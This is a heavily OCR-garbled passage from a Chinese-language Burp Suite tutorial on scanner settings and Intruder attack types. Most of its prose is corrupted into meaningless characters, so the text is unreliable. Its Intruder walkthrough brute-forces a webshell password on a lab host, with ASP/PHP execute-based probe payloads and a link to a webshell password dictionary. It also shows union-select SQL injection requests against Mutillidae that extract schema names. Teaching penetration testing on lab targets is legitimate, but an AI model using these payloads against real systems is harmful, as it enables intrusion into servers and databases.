FH A3 T / & 250 U AUEHE B 2z Mk 21580, VIZ0DA ARG %
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Live Passive Scanning

WimET A | BHRUTUATEER -

1) EEEEERERNARBIRIIETS live passive scanning, BUAERT , Burp BT
FrEIEKAIRENE , (BIRETLRFIISMBEISTE |, BiE (A URL REARNBEEN

2)iEid BurpProxy BHERI VNN, XEERUEEDR Burp {REHEAIN AIIEE,

Options

IERI-RE A Burp AfEEIHTREAMEAR , EaiiT#5I1% , Eafaiiie | £5035E

XA R X,

Attack Insertion Points

XL EEHIIMAIES AR (insertion points)” ERAXN TN IHREBNELRE

BARBEEWEE | RUBRERPIE,

BNENABNREIRIFH, BurpSuite SRR EEHIMERAR | LAIRIXLEE

YFfc ES LG E S EFRSAYREIERY BinN AR FAIMER,

BAARBEE ARV ERE S E M 2 B TE.

i BR7T1iL Burp BaiEERBAR , AL ERENXE | KR A LA RBE L ERY

B EE—MUE.

BEFALINGE | FIERAIXL Intruder , A payload positions fR&EREX BRSNS

BANRIIFHATER , FERNRERBIEN "TURE X AEEAR"

eI LAERELAGRIE/S TR Burp i RRIBEMIEARAE | W& 1-1-38 ¢

FHA4 70 / & 250 U AUEHE R e e Wb SIS0, DIZ0H ARG I
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[ Target ]' Proxy I Spider ]' Scanner T Intruder I Repeater I Sequencer I Decoder ]' Comparer I Extender I Options ]' Alerts ]

[ Rezults I Scan gueus ]' Live scanning I()p‘tinns 1

EJ Attack Insertion Points

Place attacks into the following locations within requests:

©

[ URL parameter values

] Body parameter values

[ Cookie parameter values
(] Parameter name

[ HTTP headers

[l AMF string parameters.

[] REST-style URL parameters

Change parameter locations (causes many more scan reguests):

[J] URLto body [] URL to cookie
[] Bodyto URL [] Body to cookie
[] Cookieto URL [] Cookie to body

Mested insertion points are used when an insertion point's base value contains data in a recognized format (for exampe, XML data within a URL parameter):
[ Use nested insertion points

Maximum insertion points per baze request: | 30

Skip server-side injection tests for these parameters:

l Add J Enabled | Parameter | kem | Match type | Expression |
4] Cookie Name Matches regex aspsessionid.* | A
Edit [} Cookie Name Is asp.net_sessionid ™
] Body parameter  Name Is __eventtarget >
[m ] Body parameter  Name Is __eventargument
4] Body parameter  Name Is _ viewstate r
] Body parameter  Name Is __ewventvalidation
el Any parameter  Name s isessionid | ¥
K 1-1-38

1)Insertion Point Locations

XEIREANLGIERE , HPBEARMBESKPRIMERIE |
URLparameter values - URL Bl SR himERISEUE.
Body parameter values - fERM4FIEN H , SIFNE R ERNISEHSEHE , BHENZE
IRISHISER , AN BRI, XML SEUEFEME | #1JSON {E.
Cookieparameter values - fJ HTTP Cookie H{E.
Parameter name - {EEIRFINIIISEIIETR. URLSEEEMHN , FENSSEBIIA
2| POST iEK, Wi — IS REE T LUSNEISGEY , MRRESHEHITT
WK FERIER.
HTTPheaders - #£5|BIFIAFPREFRLAVE. MIHXEBA REE T LUGN SQLiEAN

#4570 / K 250 U AXBHME R e Dol 2158, VIZIA FAREHE.
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ERIS UL A A ICRINBEAYRIRE,

AMF string parameters- A AMF 4Ri3A0RA A E A= R EERAE.,

REST-style URL parameters - URL RYS{4HER1ZER D FRIFRE B RFISUGEShENE. I

HE—MEARILUFLEEETE | R R EN AEFERX LA EEESEEE A
R,

2)Change Parameter Locations

SR EIRUE—LERB AR B RRsiERE |, BT IR A E SRR,
Blan , EETLASEA URL S4EBMFIEN + , FEFDE. & IFRILBHsHRE
SHF|— cookie , RREFLE.

XM IS8 TR ET LASI BhITIERR. TS NRE RN BRI IERITE NS
WMARIHRIZENSHECRTHMENZERZ K. BaISHE AR E R LARIEX MG
iE. SNAREFNIEEIRRSECKSTIEEEMZIE , EAERER— AP, ERATH
B SHRIUE., NRBXEF |, BIABSRISHATERLIERBA  BESECEZRIRK
ik, LUAZI B ZIEAM RES R,

TR RTENSHRINE

URL to body

URL to cookie

Body to URL

Body to cookie

Cookie to URL

Cookie to body

3)Nested Insertion Points

46 71 / & 250 U AEHE R e Wb SIS0, VIZ0H ARG I
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ERERMEAAR , 2ER—MEARREES SRBIRSIIRIEEE.  fI20 , — URL 24{

AJEEE A Baseb4 JwiBEUE | HEBHEREEETEXES JSON 5 XML #dE. SERE

Spider (XBEEMANERSEIEKATEFRILEIAMEERF | {E7F Burp KEIESHM
MR, BIEREARRMSIUE RIS,

4)Maximum Insertion Points Per Request

FTRFROREIRRE | WTRMEKBEARRIEE | —RINFZIEKRAIINEE | WSERIEE.
B/R IBRILIEERNSH( JVERES )HE. WX Burp FUTHIS S4TSR |
PRSIHS ZHREIESN. WREAITFEREN  BENEAREREMENRIIEHE
HUBRSE . NTIRD LSRRI ST | ARAIBRI S SR REFIERK. £+
ARRHERAXMREEREIER T AAXUIEAGIPRIIE R BB E R HREIRY

BARRVEE  EEEBFINEEARK  FRERSESNMTEIMERE Y 8ERIE

5)Skipping Parameters

IRELIEETBERSEE Burp MiZBUI ELMH., BRbERSHRmENLN (20 SQLiE
AN) MBLI AT ERIRAYYIR, RESMmENNNRCRERD , B9 Burp KiXZ4
IERIRNARS 2 LAIEME BIURRE. NREIANEINERFPHORELSHASZ (i, K
EXAFask Web IRSZ22HEMRISEL) | (RILISRF Burp AgEllidlixL, (BTN
HEPIREREERHATREDRFE | BAAE S8 ER/ WIFF EEEEEAE |
MRZBHAEE. ) RN SHERCAFENA N NUREFBERE | 5EE
H— SR CNNSEN AEFMIENIMERINATEEERN. FIRFRIE I

BisES4Ees, | wIMEEES ( e ) | IR ( AT EBREIENRIAT )

AT T/ & 250 U AUEHE R 2 e Wb 2IAS0, DIZ0H ARG I
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RIATES, (RETLABISEIRE ( RiZenTR ) B URL BRPHmRRY REST 240, EM
BiX—m, NSETRL, "R, NIRE L " RESTS%" | FHEEERENUHFHE
PREY URL BSZPRIVERIZRSIS (N 17788 ) . SR LUBIS{ERIERE REST 241,
Active Scanning Engine

IR ERER AL HTTP IERAY51%E. THIEIATA | 20E 1-1-39 :

? | Active Scanning Engine

T These settings control the engine used for making HTTP reguests when doing active scanning.

Mumber of threads: 10
Number of retries on network failure: 3
Pause before retry (miliseconds): 2000

] Throttle between requests (miliseconds): | 500

- g Al Ly L LELLIE:

[ Follow redirections where necessary
1-1-39

1)Number of threads - =4IH&FKEL

2)Number of retries on network failure - #NERHINEZE IR E HMLZIEIRE , Burp &
W2 RIEIRANERISEANREL, KA B MESTEEE NN | FTLARIFEER
ISR EIHIZIER T HFI LR,

3)Pause before retry - MEIHLMAYER , Burp £5HEEMENE ( LAZFHENML ) LA
T RRENRY. NRRSHRE BT SESMERaRAE  &ITFRSFHFRERTE ,
I

Throttle between requests - EEXIEKZAIFRF—MEEHER (LAZFARNM ), 1
EIRERA | LIBSRBEERNAERER | & 2B,

Add random variations to throttle - BT KIS EKRN FREH—FIEINES,

A48 T / & 250 U ANEHE B 22 Wb 21580, VIZVH ARG %
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Follow redirections where necessary- B&imER 8RS FHEIEERF TR G20 ,
F—FERER  BURHAXERE NI EEERIRE ). EAFELNREFAIEE
EEMEIEAEGFRRIISEENSE =Rt BurpSuite (MPERSEREFRGINE=
NFERER , AMRERNINIKEHIEER., NRFrEHEIERIBHNESEE A ( BEE
BRZEBEREE LRSI ) A5 BurpSuite RRIREEEEZER—EER.
NRATAENERANMTEER ( BMFELFAEETEERNERIVAME ), BurpSuite R
SIRBEEDET (a ) RER—EEH/isORNSKEEH R (b ) iREREEEASTERE
BRAM (%0 “logout.aspx” ),

INCMSEFRIX LT AT L AR 12 | ARIE A RN XS ERERISNE |, FHEE CRIIEEES
MBS, MRERINZAHEETRIE (BENBEREFRIREFIRE S/ CPU FIRRR(E
AILUBINEAZEY LLERYEHTEE R, MRERIERERRE ZNREFIEERE |
B E CHYBREE 7 | ARNIZIR D EAZE | BN ES R EIH 2 BREREL
BOREL, AR FERFRITIRERIXERY ( E— M EAN BRI TR F R AEKIREIRY
MR , IRRE FEIR D EAZEN 1, IRR RE— 1 BRI ES KB IEAIETal.

Active Scanning Optimization

EAFEEERTA  UREN BRI BN RERFRIMR. f0 SR LIERESS
BRI , E— DR FREFIRESE BE S LTRSS EAME | LURIE

MEBEESHUIER , LU , 10 1-1-40 -

)
T} These settings let you control the behavior of the active scanning logic to refiect the objectives of the scan and the nature of the target application. See the detailed help for more information about each option.
Scan speed: | Normal v
Scan accuracy: | Normal v
(# Use intelligent attack selection
1-1-40

\

RHETAT A

FHA9 T/ & 250 U AEHE R e e Wb 2IAS0, VIZ0H ARG I
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Scan speed (IHHEHE) - ZIEUAEAENFELIICE | FARKNBEREHERFR.
"Fast(fRiR)" IREFEMIEK , FHGE—LREEDIHES. £ "Thorough(#IK)" #Y
REFEZANEK , FHOEBESATERENRE.  "Normal(lER)" REAFIEERE
28, AEAREENTEE 2 BRE SRR TIF2 M.
Scan accuracy(IF#HBE) - IATUREAGIEIERE , AU SIREFLRERREZAT
ERAIEEL. ATLARGER "blind(8)" B , B, Burp #ElAIsEFEE T RLMERE|
AT , SO ERERE — NES TR A — N REICUEIR —LEEE, E/oXEMREAT
ANRERE , ZouT |, ERBEXEKARRENEN  ZRARSESZ HIEREME
bR | BINTEERERIER. WERM/MRR , BurpSuite EESRWII{ T —L% , Z—MR
TERVIEIRE |, HERTATIE) , SRR SR T AZ AE A S=aEX . SR
EIAT#=HI BurpSuite 22 /MWREHIXENN. £ "Minimize false negatives(&/J\Mt,
R ROREFHTEIRRY , EIEARERERAMNERE , (Bt AR ESHRT
AR FREFITARELEERR, £ "Minimize false positives(B//MYIRIR)" REHIT
BEANR FTARAAKEBER SRIAMAYERE (BRIt iERaT T — L HIEAEIRT |
EABLENEKUERRMISAREERZMNN. "Normal(ER)" REATRHELZ
8, FHERZERYERBR M AERBA AR S IEAIUE S T S M,
Use intelligent attack selection(SEFREREHIIAR) - IWIETFERIIEMHMTKEES
BMEANRSHIREEXEHERNE, it IR SHESSAESHIMENHSE
FEFRF , BurpSuite KBNS XHIRFRHICEISEL, ERIXANER , AL
BEEHRAIFERD EPRAURmRAIXBE .
Active Scanning Areas

ENPLREMNIEIRPHTRE. BROTLATERAMIAE | 8 1-1-41 ¢

50 70 / & 250 U AUEHE R e Wb SIASH, DIZ0H ARG I
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? Active Scanning Areas
G These settings control the types of checks performed during active scanning.

[# SQL injection
[ Error-based [ MssOL-specific tests
[¥] Time-delay tests [ Oracle-specific tests
[¥] Boolean condition tests [# MySQlL-specific tests

[# 0S5 command injection
[+ Informed [# Blind

[ Reflected XS5

@ Stored XSS

[ File path traversal

[# Remote file inclusion

[#] HTTP header injection
[# XML/ SOAP injection
[ LDAP injection

[# Open redirection

[# Header manipulation

[ Server-level izsues

[ Select all J[ Sele-:tnnnej

1-1-41

SQL injection(SQLEN) - XBEFIE , LAEARRINIIRA (IREAHEM , FERHL
MREFMHR ) | AEOENERETRNEIERSRE ( MSSQL |, Oracle #1 MySQL
) .

OS command injection(ERFAHSIEN) - XBEFEI , LAERERIUERRA..
Reflected XSS(RIR T Bk mpIAR)

Stored XSS(FFAERIES L AEIZA)

File path traversal (SZ{4E&12i@H)

HTTP header injection(HTTP SLiEN)

XML/SOAP injection(XML / SOAP jF59)

LDAP injection(LDAP ;¥ \)

Open redirection(FEEM)
F51 00 /& 250 51 AUHHE R LMk EF =0, VI THEERE.
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Header manipulation(SLig4\)

Server-level issues JRSZSE4%HYIRIRR

FrATRYE MEEIEINRIEREVEE | LIRS NMIEERIE, SRILETHERAN IEE
RIEERIN FRREFRIRAKIR, B9 , AISR(FANER N RIEFAERIET LDAP |, &3]
VAKX LDAP JENTA. 2NSR{FANEW NS imEdE RN FRERFER | {RATLAKE SQL iE
NG BT EAA BRI EEE . (ST LU R A E TR I SRRV 2
B. a0, EAJLABCE BurpSuite N RFZRFRIRIE—RIT , RJ9 XSS 1 SQL IENAIRILE
MaHnsE  BREREELENNRNEE— MEARZAL

Passive Scanning Areas

BEXAERIMANSE NS EESEIERE. THNERAA , NE 1-1-42

?| Passive Scanning Areas

‘Jl These settings control the types of checks performed during passive scanning.

[ Headers [ WIME type

] Forms [ Caching

[ Links [# Information disclosure

(] Parameters (] Frameable responses ("Clickjacking™)
[f] Cookies [ ASP.MNET ViewState

[ Server-level iszues

l Select all Jl Select nnneJ

1-1-42

Headers--k
Forms--&4&
Links--§%$#
Parameters--£4§
Cookie

MIME 584

52 70 / & 250 U AUEHE R 2z e Mk 21580, VIZ0VA ARG %
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Caching &7F
Information disclosure--{SE K&
Frameable responses--fifAR L ( " moE&nis"
ASPNET g9 ViewState
FEIEHIRMANIFHASIRE B CRUERERX SRR ESRIHTENLE— MY
BRYLERATE. AT |, R LAERBEER MU , IRIRRAFAROME] , AEE b
MHIEHER,
Intruder
Burp intruder — 138 ARNT R , BFBaI% Web MAREFEENXNNE. EALIRkK

Ba TR AR ES RIS IE eI sEHENAY |, WNEI 1-1-43~E 1-1-44 :

[Target ]' Proxy I Spider I Scanner I Intruder | Repeater
S

J Target T Positions I Payloads ]' Options ]

2| Attack Target

Configure the details of the target for the attack.

Host: | www siteid.cn
Port: |20

[[] Use HTTPS

1-1-43

Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts
1 %
- Posiions | Payloads | Optons

@ Payload Positions

Configure the postions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload postions - see help for full detaiks

Attack type: lSmner ‘vJ
GET /index.php?password-§adming HTTP/ 1.1 IO ™
Accept: text/html, application/xzhtml+xml, */* QJ

Referer: http://www.baidu.con/
Aceept-Language: zh-CI Clear §
User-Agent: Mozilla/5.0 (Windows NT £.3; WOWed; Trident/7.0; MALNJS; rv:ll.D) like Gecko
Acespr-Encoding: gzip, deflace Auto §

Promy-Connection: Keep-Alive

DNT: 1 Refresh

Host: www.baidu.com

K 1-1-44

$ 5300 / & 250 71 AXHBHMEE e ok 2158, VIZIA FAREHE.
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EFHAE THE BurpSuite Intruder , HUTUATHE :

)&% , (R Burp 51T . HEEGEEEEAINEEES Burp TR,
MNRRELEXHPANE , WREERN—L BN RER | RIEFIIN FREFRIASIT
BERUIFARSR Burp Y SiteMap, TEXIHZRT , ENRIEE , HEAERSSHER < , &
EEETFIRE |, FRARIEEE (NRZHER “Intercept is On” |, SAIRRTEEREE
IWSTIHRAKRA )

3)4&%| Proxy IR , F7E History iBIR. A —MEBAYRIEMEX , BRBERNAEE
Fr 887 LS8 BRXNBE—RIEK AN ETIEREHERE "Send to intruder”
4)%8% Intruder #5285, Burp Intruder AJLUHREIINEEZ N NE. £ Send to Intruder
HEMEREE CHIEIRI R | XL R INFRmSHIZIA. e ERESLE
RGN |, e RKEF AT | FEEXAMF TFRRIRER,
S)NIERIEFBREZA Intruder IZINR , FE Target 7l Positions IXINR., XLEELEBE)
BNERERIERIAT,

6)Burp Intruder AERTAF , REX T EARIRAVERX ((RIXZIBPEATERY ) | BT
payloads RYEER , 15IXLE payloads IXATEMXRY Positions , EAESNEEIA , ARHEN
FERIER, UETSHATEE  HPEXEETBEIENIERNERMNE. (RTLUES ,
BurpSuite —BEHFREARMNEEREA Bt TR, FABRT  BREEHRNTEH
IBRSEF cookie FYE, BXEREMINCEN T —MEREAMAIE | FEETLINERK
RUESK , X HERIEREMAINE | i payload position FRTHE—EXA, BXift
— 515 | {55159 Payload Markers BO£3E],

7)E ORISR iERR AR A LI TR I B E R aYRE. I EEN payload

position £ , 41E] 1-1-45 :

%54 70 / & 250 U AUEHE R e Wb 21580, VIZ0H ARG I



o2z HHRM 240k | H5753

Add §
| Clears |

Clear §

Auto §
Refresh

1-1-45

8)4£Z| Payloads &Ik, X{FEEFATLLE M IEERANEEXNBRE A CHBERE . =T
FANRE (FABEXEEH "Simple list” ), FHHRII—EMH=FRERTIERS. &AL
BiTHAE “Enter a new item” & , B “add” , MABCHFEHGE, HEETTLME

F3 “add from file” TRIZZE , AFFIEE "Fuzzing-quick” , NRBRIGE SB[ EWARIFIZE
h,

NIE , BELERE 7 RRIREANAIRAMBIE, 3 Intruder 3288 , PAFIER "Start
attack”

10ELEEREMR—MNEOF RS, ERFOAEELNE  SEXEMT |
SNRERRROERETT , HTTPISHED |, IAKES , SRLERPIREEmME |, UEE
FTEEANERAN S MEKAIRE. BRI RH THIFEI BE7 R | FHERE SRS
ELIERFHINE, XEAHELMERASZNIAE | /79 Proxy history,
TIXRFEENLSHEMITE | BT ARNENES, BaLUER A XMEE
NEEEFIE. BRNETUEN < M TARNE] " grep-match” |, HAik "IrEER
SRBELERIMAIXLRIAT . XESE Intruder 10 BB ILEIRPHIG NRIAT
EMRSRIKEE. BOABR T | JIRER fuzzing IS 2RERN—LE IAYEIR=FH |
ERTERE | NRIFEECH=/FaE. IRE result ETE , BZ Intruder EINT 3= NR
B IR+ MIXEESEIRE ERRANESHRAIES— ML, NFRIREFERY

{REVE AR AT RES | A — MERINFEE — LR ARERES.

5570 / & 250 U AEHE R e Wb 21580, VIZ0H ARG &
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12)0fE , FERPIERHAIE |, FHFEZIEREAL, AINFERMN ( AIRITIFRER |, BiE
RAS ) —MEBNFAS, AERGZIMEERY , AEMNETEEEFIEE "Define
extrace grep from response” , FEXHEIES EFMNAIEEFRIER ASRE HE" .
SERF|PINELS— NG HRREIX—ERXFANE ML ( e AR AENES—FE
MR . EELUGERALIREREMEARNEEBNEIES T LR, FER &
EATLABCE “extrace grep " INEFHNATUEIIR , FEULZ BIRTEAELIEEHAA,
13)EERRFISE—INE , FFIFF L TIXEEE, i%&#F "Send to Repeater” |, 5%
| Repeater J&IIR. (REBEEIFMEHNEKEWE HIZI Repeater THE FHTH—ZHIMI,
2 EMBBIEIE T AN L TIEEEP, BXKIX BurpSuite TRZENIIE | £
RUE TAERAZRTFER.
14)EAJLAGER "Save” SEBRAELEREOPEAEREHENL L. RALIEERERE!
Efth T BB FHRIEIER. S LUEIZ7ESE Burp A9 Ul Intruder SEEAER ST INEIRIFRIINGE.
15) XL BRIANMB—NMERAIAA Intruder , XIF Fuzzing HEKRE—EIRENKTEFRF
ERFFE grep BERFRIERER.
Using Burp Intruder
for example XEFHAMERE AR | IBE— php X5 , IRE—GIEHIC get 25Uk

post , SNERZE php —&iE , FifE FEINNLE php XTLES , 20E 1-1-46 :

POST /php.php HTTE/L.L

Locept: text/html, application/xhtml+xml, */*
Beferer: http://wwv.dvwa.comw/php.php
Accept-Language: zh-CN

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOWé4; Trident/7.0; MALNJ3; rv:l11.0) like Gecko
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Content-Length: L&

DNT: 1

Host: www.dvwa.com

Pragma: no-cache

Cookie: PHPSESSID=1efl78%:8b0j8cucutfeedstss; security=low; serveru=wwv.dvwva.comiZFphp.php: serverp=admin
Spassword§-execute ("response.clear:response.write (""elseHelloWorld"") :response. end”
Kl 1-1-46

5556 7 / & 250 U AUEHE R 22 e Mk 21580, DIZ0H ARG &
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Asp :

password=execute("response.clear:response.write(""passwordright""):response.end")

php
password=execute("response.clear:response.write(""elseHelloWorld""):response.end”)
aspx
password=execute("response.clear:response.write(""elseHelloWorld""):response.end”),

—RREEAT
T AT RS | ZAEHEX NS , G0E 1-1-47 :

http:/fwww.dvwa.com/php.php D~ X ) [FEEi% dvwa.com
B -0 ® - TEn- 26~ IE0- @- 1

4 Burp Suite Professional v1.5.20 - licensed to LarrylLau

Burp Intruder Repeater Window Help

[Target I T Spider I Scanner I Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts T autoEdit I Paylo

J [ History I Options }

|_/| Request to hitp:iiwww. dvwa.com:20 [127.0.0.1]

| Forward | Drop | Intercept is on | Action |

J Raw I Params T Headers T Hex 1

GET /php.php HTTF/1.1

Aecept: text/html, application/xhtml4xml, */*

Accept-Language: zh-CIN

User-Agent: Mozilla/5.0 (Windows NT £.3; WOW&4; Trident,/7.0; MALNJS; rv:l1l.0) like Gecko
Aecept-Encoding: gzip, deflate

Host: www.dvwa.com

DNT: 1

Proxy-Connection: Keep-RAlive

Cookie: PHPSESSID=16f1788bEb0)8cucutfee9sLs5; security=low

K 1-1-47

2 e it forward HFEEXSTUEMBEBRNTA burp 28 TR 5 &XE repeater ,

WNE 1-1-48 :

55 57 51 / J 250 U AAE B e M S 5S i, VIZ0H TR &
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[ Target I I Spider T Scanner I Intruder T Repeater T Sequencer

J T History T Options ]

|.§| Request to hitp:Afwww dvwa com:80 [127.0.0.1]

| Forward | | Drop | Intercept is on | Action

_[ Raw T Params T Headers T Hex 1

FOST /php.php HTTRE/L.1

Accept: text/html, application/xhtml4xml, */*
RBeferer: http://www.dvwa.com/php.php
Aocept-Language: zh-CI

Content-Type: application/x-wwv—form—urlencoded
User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4:
Aocept-Encoding: gzip, deflate
Proxy-Connection: Eesep-Aliwve

Content-Length: L&

DINT: 1

Host: www.dvwa.com

Fragma: no-cache

Cookie: PHPSESSID=1cfl785bEb0j8oucutfee9stss5; se

envlpass=thoigro ol ﬁﬁ@f@ﬁ)\m%i%

1-1-48

3.1J#RZ] repeater IEIRH , My go & , HH—ERIRABERER | SRUWRAED
AL, XEHGERERESERKAIN T ZEETAN XM BRIRRIRFIGERER |
EREIBHAAET , BB T ZREF . 4ENRHEREE

intruder , target —RREBAZEE , CLEMNETF T , JAREER positions |, 30&] 1-1-49 :

Target | Postions { Paylnads W Options. I

2

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Atiacktype: | Sniper VJ

POST /php.php HTTP/L.1 'y | Add§
Accept: text/html, application/xhtml4xml, */* r S
Referer: htop://www, dvwa.com/php. php

Aceept-Language: zh-CH | Clear§ |
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT €.3: WOWE4: Trident/7.0; MALMIS: rv:11.0) like Gecko | Aub§ |
Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive | Refresh |
Content-Length: L6 -
DNT:

Host: www.dvwa.com

Pragma: no-cache

Cookie: PHPSESSTD=§LE£1789hBh0IEoucutfEE9sE558; security=§lows; serveru=§wwu.dvwa.com$ZFphp.php§; serverp=§adming

envlpass=§thgigrgs

K 1-1-49

S Clear$ |, SEREMLHh )5 s add$ , #0& 1-1-50 :

Pracgma: no-cache
Cookie: PHPSESSID=16f1789kEb0jEBcucutfEE69s£55; security=low; serveru=wwv.dvwa.comtIZFphp.php: serverp=admin

envlpass=§thgigrgs

K 1-1-50

5.1J#:%|] payloads iR & payload type , EFEAIECHI=FE , W0E 1-1-51 :

5558 7 / & 250 U AUHE B POl 2158, VIZIATHRER B
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Payload set: l 1 | "'] Payload count: 2705

Payload type: l Runtime: file | "] Request count: 1,353

\ R

EJ Payload Options [Runtime file]

This payload type letz you configure a file from which to read payload ¢

Select file ... D=hellpass. bt

K 1-1-51

6.1J#%| options KiREMHEHFNAM < [FEITVUREL. 1TIBER , WE 1-1-52

2| Request Engine
G' These settings control the engine used for making HTTP reguests when perf
Mumber of threads: 20
Mumber of retries on network failure:
Pause before retry (miliseconds): 2000
Throttle (miliseconds): @ Fixed o
() “Wariable: start 0 step | 30000
Start time: = Immediatehy
() In 10 minutes
) Paused
1-1-52

—RREERSIE Grep-Match S5 , &8, (0E 1-1-53 ¢

Grep - Match

?)
El These settings can be used to flag result tems containing specified expressions.

[ Flag result tems with responses matching these expressions:

i Tile A

not found

Load | | unknown
uid=

Remowe =) >

_ | warchar
Clear oDBecC

saL pei

m
i
]
21}
i
3

Match type: @ Simple string
() Regex

[] Ca=e =sensitive match

¥ Exclude HTTP headers

1-1-53
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7 3F kAT intruder AT start attack BRI 7 , 2565 admin , FE2RYE length 3k

FINTRRELABAOARR) , A0 1-1-54 :

Request | Payload | Status | Error | Tmeout | Length ¥ | Comment
40 admin 200 O O 1431
0 200 O O 1362 baseline reguest
1 yueshaowen 200 (B (B 1362
2 HAOO 200 [0 [ 1362
1-1-54

BiFIE—A webshell 282 : shellpassword.txt.zip
http://static.wooyun.org/20141017/2014101711121696735.zip

Target

AT EREBRRS S TIERNFRER. FrBatnsg © Host(EH) - XRERRSSS
A9 IPHEFERFANE. Port(mM) - XREHTTP / SERSSA%NROS, Use HTTPS(ERHTTPS)
XISER SSL ZEBMIZMER, EEXLHTREPRITEZIEFFRERES BurpSuite
AUREIt SRS |, FHEE ETIGEREFRY “"Send to intruder” &I, IXIERIXFEERTE
X, £ intruder —PMHRUIAINR , BEMEFRHBFMIEIRITR,

Positions

FBTF&CE request temlate BYIZES |, #0 payloads markers, attack type —i2,

Request Template

FEBKWIERZEARENNFEREIEREPEH S HANEKER, W FE— M BEEX
BurpSuite ES2ERAYER FHE— NS M EREETENBERERRCENXRINE.
MIERERARE BT ERIEERAELEF BurpSuite RIEAMMSRNIEK , FHEE LT
EEEHRY “Send to intruder” JEI, XEAIFEEAIER , # intruder FEIR | 5
BENtE7eHY Target F Positions JEIR,

Payload Markers

BREEIRCEERSFR , ARSI THRE !
6000 / & 250 B AXHHME B e ol 25 im, VIZIH T AREHE.
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NEXRciEE— MBS E.

2)— 3RS A IAM BN Z EHEEARIRE RN E—Les =,

N E—NEHEEIBEW DT 7 — MERER T RN IS 2N AR EE S
BRET,

B —NEREABEREE D RINENES | ZINCEEMER  (BRFTEEIA RS
A3,

AT HEEEEINGE | Intruder SEHREBRENEREANCIEEIENZEES
A9STA.,

EAAF e EahMESEETRC. XEM BurpSuite BI&E—MNERE Intruder ,
Intruder JEMRETREEMBEEHE , FRBEENAIEMETINC, ERTLUEHERRE
HIZRAE T R C A E R SR B ES -

Add§ - INFRGHENAIETR BN —MEREEIRNCENTMIE, MREEEEET—
LT —SHRCEANSIIEEIISA, Clear§ - SUSHIRFIERIAIBING , TICEME
MERBARIRABEELRS. Auto§ - BFINBEREIRC. BENE

1)URL EifFRIESH

PALSSE

3)hEF

ASESHEM (HI80 , EXHF EEUES )

5)XML R ITREY

6)JSON &2

A EEEHMARNEEDEERBRENAIENSHE  EBINEERR LINER, &

BIBHRE  MR—FHRONEK , BEFREENERIR . BBV EIEER XML &

#6107 / & 250 T AUEHE R 22 e Wb 21580, DIZ0H ARG &



o2z HHRM 240k | H5753

JSON | AJLAESEIIXF SR A BRI B S F oIS T EIRRTERR |, FHE
A "Ba" REAEEEMAIERER. XEERIY, fl1 , S—S2HEIEESE XML
8k JSON #18z{#E.

RIFT - XGRFNERERRERINEZZ BN , WROEN.

Bk - XSMPREMERER.

IR GBI LMERANEENEREA G Ul 81T BurpSuite 3N EBEXIEARE
s, BHEIX—R  EERRERAEREREFCANEEBERAT | ARIEEN
ANEEXRBHR "EAEEMEAR"

Attack type

Burp Intruder SZFFSMIEEE - XEREETMRESELEREECRISIN. K

REATLAMERIERIER RIS CT R N ASRER TR, LATIESE A ik | a0E

1-1-55:

Configure the positions where payleads wil be inserted into the base reguest. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Aftack type: [ Sniper

Sniper
L Battering ram
e forer o Pitchfork

ccept-1 Cluster bomb

1-1-55

Sniper(BEF) - XEER—ER—HY payloads, BRIBEIMRRES N EREETHIIIE |
FEEMEREEENORIBME. XARH—MEERERIINEARZN - (&
tRCHIBER  FHEE B EER P E T AT AR, XTI ESRE N BIER
WA — R SHERNRRIFEE A, RGP ERRIE RIS R BRSBTS
AT IR ERTBE ST E RIS,

Battering ram(i&D:4)) - {FF—4 payload., EITEHIEREA A | FHFIEEN

payloads B—XIERZIFEEEXIEREME. SHP— I NEHEEERIBANSHEIE
6200 / & 250 B AUHHE B Pk SIS, V2T ARER &,
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NESMESERRSF (4120, — Cookie FRIFAFEF cookie 248 ) IHXFPINESEEY

RIFEERAN. ERETEMRBRINEHETEEIIERERTIREVEE | 2E

1-1-56~E 1-1-57 :

Attack type: l Battering ram

GET

/index.php?page=user-info.phpéusername=%27+union+all+select+1%2CSCHEMA NAME$2C3%2C4%2C5+fromtinformation schema. SCHEMATA+]imit+808%2
=guser-info-php-submit-button=View+iccount+Details HTTP/1.1

Accept: text/html, application/xhtml+=ml, */*

Feferer:

htep://www.mucillidas. com/index. php?page=user-info.phpiusernamz=%27+union+all+select+1l%2ICSCHEMA NAMESZC3%2C4%2C5+from+information sel
imic4+0%2CLl+——+&password=suser—info-php-submit-button=View+iccount+Details

Accept-Language: zh-CN

User-Agent: Mozilla/5.0 (Vindows NT £€.3; WOWE4; Trident/7.0; MALNJS; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive

DNT: 1

Host: www.mucillidas.com

Cookie: PHPSESSID=§4fuSuttfgigi08S£Svintddvnds: showhints=§0§

1-1-56

Payload set: [1
1

Payload type:

1-1-57

BUENAER—BEF 1-9 , Mg 1-1 , 2-2, 3-3 XMZR Pitchfork((ERR) - XIG(EF
£ payloads &, BXWEMNENKNE (&2 20 1) FRNEHEEH. EREMS

BREARIBEIEREI AR — M BREEEIE N ENAE & 1-1-58~E 1-1-59 :

Aftack type: LPrtcnfnrk

GET

/index.php?page=user-info.phpiusername=%27+union+all+select+1%2CSCHEMA _NAMEXZC3%2C4%2C5+from+information_schema.SCHEMATA+1limit+§08%2C
=guser-info-php-submit-button=View+iccount+letails HTTP/L1.1

Accept: text/html, application/xhtml+xml, */*

Referer:

htep://www.mucillidae.com/index.php?page=user-info. phpsusername=%27+uniont+all+select+1%2CSCHENA NAMESZC3%2C4%2C5+fromtinformation sel
imit+0%2C14+——+&password=guser—info—php-submit-button=View+hiccounc+Details

Accept-Language: zh-CHN

User-Agesnt: Mozilla/5.0 (Windows NT E.3; UCFE‘{; Trident/7.0; MALNJS; rv:ill.0) like Gecko

Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive

DNT: 1

Host: www.mutillidae.com

